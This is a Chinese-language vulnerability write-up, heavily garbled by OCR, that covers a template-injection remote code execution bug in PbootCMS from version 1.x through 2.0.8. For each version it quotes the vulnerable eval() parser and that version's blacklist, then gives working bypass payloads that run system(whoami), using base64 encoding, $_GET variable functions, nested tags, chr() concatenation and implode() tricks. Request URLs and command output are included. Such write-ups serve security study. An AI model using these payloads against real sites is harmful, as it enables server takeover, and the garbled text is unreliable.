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<« C @ 127.0.0.1/PbootCMS1.1.4/index.php/List/2 ?keyword ={pboot:if(system(whoami))}{/pboot:if}
pc-20190201voevightwi01 pe-20180201voevightwi01 pc-20190201vocvightwf01 pe-20190201vocvightwiO1

?’ PbootCMS S FiE)uy FeRr it

HEIH

. PbootCMSEELEE/ A

2. PbootCMSV1.0.01F=4:70 [EEE

3, ARt Hra AR ARRS SN R A SR
4, BFOFET W T SIREIRRE

5, HAn: ISR ORRERE AT B

poc:
{pboot:if(system(whoami))}{/pboot:if}
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7%55_','_\'—\_'_\@_[:_': /apps/home/controller/ParserController.php

public function parserIfLabel($content)

{
$pattern = '/\{pboot:if\(([*}]+)\)\}([\s\S]*?)\{\/pboot:if\}/";
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if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';

if (preg_match('/[\w]+\(\)/", $matches[1][$i])) {
continue;

}
eval('if("' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}");
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public function parserIfLabel($content)
{
$pattern = "/\{pboot:if\(([*}]+)\)\}([\s\S]*?)\{\/pboot:if\}/";
$pattern2 = '/pboot:([0-9])+if/";
if (preg_match_all($pattern, $content, $matches)) {

$black = array(
"chr',
'phpinfo’,
‘eval’,
"passthru’,
'exec',
'system’,
"chroot’,
'scandir’,
"chgrp’,
"chown',
'shell_exec',
'proc_open’,
'proc_get_status’,
‘error_log’,
'ini_alter',
'ini_set',
'ini_restore’,
'dl',
'pfsockopen’,
'syslog’,
'readlink’,
'symlink"',
"popen’,
'stream_socket_server',
'putenv’,
'unlink',
'path_delete’,
'rmdir',
'session’,
'cookie',
'mkdir',
'create_dir',
'create_file',
‘check_dir",
'check_file'

)s

$count = count($matches[0]);

for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html B

$danger = false;
foreach ($black as $value) {



$danger = true;

break;

if ($danger) {

continue;

eval('if("' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}");
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payloadl
{pboot:if(1);$a=base64 decode(c31zdGVt);$a(whoami);//)}{/pboot:if}

< C ® 1270.0.1/%0010‘\/’\5\.1‘6/inde><.php/Ust/2?key\,\ford:{pboot:ifﬂ‘L‘Iva:ba5964_de(ode(CSIszVﬂ:$a;’Whoami);//)}{fpboot‘if»
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payload2
{pboot:if(var_dump( whoami'))}{/pboot:if}
& C  © 127.0.0.1/PbootCMS1.1.6/index.php/List/2?keyword={pbootif(var_dump(‘whoami’))}{/pboot:if}
D:\Pro Files\PHPTutorial \WkiW\Pboot(MS1.1.6%apps\home\centroller\ParserController.php(1788) : eval()'d code:l:string 'pc-201902@1vocvightwfel
" (length=24)
D:\Program Files\PHPTutorial\WWiW\PbootCMS1.1.6\apps\home\controller\ParserCentroller.php(1788) : eval()'d cede:l:string 'pc-201902@01vocvightwfel
" (length=24)
D:\Program Files\PHPTutorial\WhH\PbootCMS1.1.6\apps\home\controller\ParserController. php(1788) @ eval()'d code:l:string 'pc-20198201vocv\ghtwfel
' (Length=24)
HPTutorial \WWW\PbootCMS1.1. 6\appsi\home\controller\ParserController.php(1788) : eval()'d code:l:string 'pc-20198201vocvightwf@l
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public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([*}1+)\)\}([\s\S]*?)\{\/pboot:if\}/";
$pattern2 = '/pboot:([0-9])+if/";
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($1i = 0; $i < $count; $i ++) {
$flag = '";
$out_html B

$danger = false;

$white_fun = array(
'date’
)
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if (preg_match_all('/([\w]+)([\s]+)?\(/i", $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;

break;

if ($danger) {
continue;
} else {
$matches[1][$i] = decode_string($matches[1][$i]);

eval('if("' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}");
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payloadl
{pboot:if(syste\m(whoami));//)}{/pboot:if}

< C @ 127.0.0.1/PbootCMS1.1.9/index.php/List/2 7keyword ={pboot:if(syste\m(whoami));//)H/pboot:if}
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payload2
{pboot:if(1);%$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system

&« cC @ W27.0.0.1/Pb00tCMS1.1.9/index.php/List/Z?keyword:{pboot:if(n;‘};a:$_GET[Cmd];‘La(whoami};/f)}{/pboot:if}&cmd:system
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PbootCMS(v1.3.3-v2.0.2)
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® 127.0.0.1/PbootCMS1.3.3/index.php/List/2?keyword={
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public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([*}1+)\)\}([\s\S]*?)\{\/pboot:if\}/";
$pattern2 = '/pboot:([0-9])+if/";
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '*;

$danger = false;

$white_fun = array(
'date’,
'in_array',
'explode’,
"implode’

)5

$matches[1][$i] = $this->restorePrelLabel($matches[1][$1i]);

decode_string($matches[1][$i]);

$matches[1][$i]

if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/~eval$/i', $value)) && ! in_

array($value, $white_fun)) {
$danger = true;

break;

if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[) | (\$_COOKIE\[) | (\$_SESSION\
[)/i", $matches[1][$i])) {

$danger = true;

+€£ (¢Aancar) [
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continue;

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
E) ETHMNEREIERTIREY, BB ECHIIENIECAT™E, SEREE + =18 +() TSI

payload
{pboot:if(system (whoami))}{/pboot:if}

® 127.0.0.1/PbootCMS1.3.3/index.php/about/10

~ & @ Elements  Console  Sources  Ne

PBOOTCMS —
FEREPHP R ISER —_— html lang="zh
head></head
w1 ¥ <body> == $60

‘ "pc-20190201vocvightwfol

> pp e
TS
meta charset="utf-8

Bt AR DR 2 i : J titles B -PhootcHs- T £k P T £
. 5 /title
meta name="keywords” content
PHP, ASP, Pboot, CMS, PHPCMS , PbootCMS , ASPC
B, B iR, P EIR, IR R, M
meta name="description” content="Pboot
HmrmpT R bR R, REUER. B
T, MIERESRDLMERENESE; XA
¥, REEHIH T RET SR @, A
BB EWNE ERSEREERETRA
2***  Windows 10 Chrome 2020-07-15 14:41:14 &, REEXREHNELNER.
meta name="viewport” content="width=de
scale=1,minimum-scale=1,maximum-scale=1

9 MEEE s link rel="stylesheet” href="/PbootCM51
& J"@ default/bootstrap/css/bootstrap.min.css
2020-07-15 14:49:36 link rel="stylesheet” href="/PbootCM51

PbootCMS(v2.0.3)
BN T SNSRI IR, AT

if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)]|(\$_SESSION\[)|(file_put_con
tents) | (fwrite) | (phpinfo)|(base64_decode)/i', $matches[1][$i])) {

$danger = true;
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BEA 1
Fon
& {(system (whoami)){/}
GHIE] 2020-07-15 15:04:07

BEER IP127.0.0.1; HEeS:Chrome; HRFESEWindows 10

T:I_: apps/home/controller/IndexController.php E% 270 ?i’

FRTH pboot:if EIRNFT

$mail body "Fg
($form $value) {
$field data - post($value->name);
(is_array($field data)) {

$field data = implode(',', $field data);

)

$field data = str_replace('pboot:if", '', $field data);
($value >required $field data) {
alert back($value->description "FHEAZE L C);
I
L
$data[$value->name] - $field data;
$mail body $value->description : $field data
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payload
{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}

< C @ 127.0.0.1/PbootCM52.0.3/?gbook/

“ [w ﬂ Elements Console Sources Network

=) PBOOTCMS pry—

...... =6 <head></head>
¥ <body> == $6
“pc-20190281vocy\ghtufal

N e .
i%%ﬁ . <meta charset="utf-8"

<title>TEHEE -PoootCMs- A A FF iR R B FIPHPE L

Bt AREREEHER 5 iR )i g - BRG/titles
) . <meta name="keywords" content="cms, % &cms,
Bifcms >

<meta name="description” content="PbootCMSIE-
AMEERHFAPPELRMET AR RERRASG, 23
s BIFFTREEANPH (MSED, BEAESTEE]
=HEICx TE. FHRAEENERORERE, QBRI
WE. ERRHTAEREEERRETHMER,
AEEnElRHRENEEFERERARE. &
9 ql: <meta name="viewport” content="width=device-u
scale=1,minimum-scale=1,maximum-scale=1,shrin
<link rel="stylesheet” href="/Pboot(MS2.8.3/t
default/bootstrap/css/bootstrap.min.css™>
9 %fEE@E <link rel="stylesheet” href="/Pboot(M52.0.3/t

default/font-awesome-4 7 8/css/font-awesome.m

**  Windows 10 Chrome 2020-07-15 15:11:14

2020-07-15 15:11:20 <link rel="stvlesheet” href="/PbootCM52.8.3/t

PbootCMS(v2.0.4-v2.0.7)

B E—"ThRA payload , K TFNEHHILIET

BEA test
FNom
HZE  {(system (whoami))}/}
BiE  2020-07-15 15:17:00
IPEEE IP:127.0.0.1; FIEEES:Chrome; #BFFESEWindows 10

[EI=AFS

MEIAIHE TSI TF /core/basic/Model.php , IEAN T UITES

if (M 1= “admin') {
$sql = str_replace('pboot:if', '", $sql); // B AcmsFE 15D

BMREITIET IR pooot:if , AMXMERNZZRAZAN, TR=EERY, BE
v2.0.4 IMIBINT IENERRRGTIE, AT system FEREL, (URBAAT
IEMtEcR=Eannse, (ChBan T

if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_con
tents) | (fwrite) | (phpinfo) | (base64_decode)| (" )| (shell _exec)|(eval)|(system)|(exec)|(passthru)/i',
$matches[1][$1i])) {

$danger = true;
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payload
{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).ch

r (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:
ifoot:if}

< C ® 127.0.0.1/PbootCMS2.0.7/?gbook/

[x ﬂ Elements Console Sources Network Perfor

<html lang="zh">
¢head></head>
- ¥ cbody> == 58
"pc-20199201vocy\ghtufol

5] PBOOTCMS

ARREPHPR SRS

ST ) .
iﬁ%ﬁ . <meta charset="utf-8

<title>HEHRERE -PoootCMs - K2 FHER E HIPHP R L PIEA FF %

BtARERINERERT R iR . y - BREG/Litle
| i <meta name="keywords” content="cms,R&cms,FFcms,
Hdkens >

<meta name="description” content="PbootCMSE—E£HF
AFHERAEPHE U PSS RS ERAS, B—EAN.

s WA R BB MNP (SR, I5RE SRR s s
e TE. RERAELNASMEETS, REEHIHTRE
UF% . EARETAEABEERR THNEA, FHHT
AgENEIRERENABTSRERATE. -

9 s <meta name="viewport" content="width=device-width,in:

) 01 15551 scale=1,minimum-scale=1,maximum-scale=1,shrink-to-fit
** Windows rome 20-07-15 15:35:12
o <link rel-"stylesheet” href-"/Pboot(MS2.0.7/template

default/bootstrap/css/bootstrap.min.css">

<link rel="stylesheet" href="/PhootCl [template
srm = . y R
9 EHERES: default/font-awesome-4.7.0/c=s: font -aues ume. nin. ¢s:

PbootCMS(v2.0.8)

}\A v2.0.8 ﬂ: E"%Téﬁﬁﬁ”ﬂg]ﬁ pboot:if , ﬁH: /app/home/controller/MessageController.php % 61

/

17
$field _data = preg_replace_r('/pboot:if/i', '', $field data);
Eﬁﬁ——lt , 'ﬁ\za: /core/function/handle.php

function preg_replace_r($search, $replace, $subject)

{
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
¥
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if (preg_match_all('/([\w]+)([\s\\\\]+)?>\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white fun)) {
$danger = true;

break;

[EEARRLEZIT preg_replace FREFRVAME, ERARREE implode REVUEATLASLIUERA
BT
payload

{pboot:if(implode(l', [ICI,IalJIll’lll,l_l,lul,ISIJIel’lr‘IJl_l,I_FIJIul,lnl’lcl])(implode(ll’[lsl

;'Y sttt et 'm ), dmplode (T, [Tw', thY, 0", at, tmt, "1 ]) ) ) H{/pboot s if}

® 127.0.0.1/PbootCMS2.0.8/
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head></head
=¥ <body> == $0
"pc-20198201vocvightwfol

meta charset="utf-8

titlesPbootCMS- AT B EHIPHPE L P Z R REERE
/title

meta name="keywords" content="cms, % Ecms, Fifcms, Eilbcn
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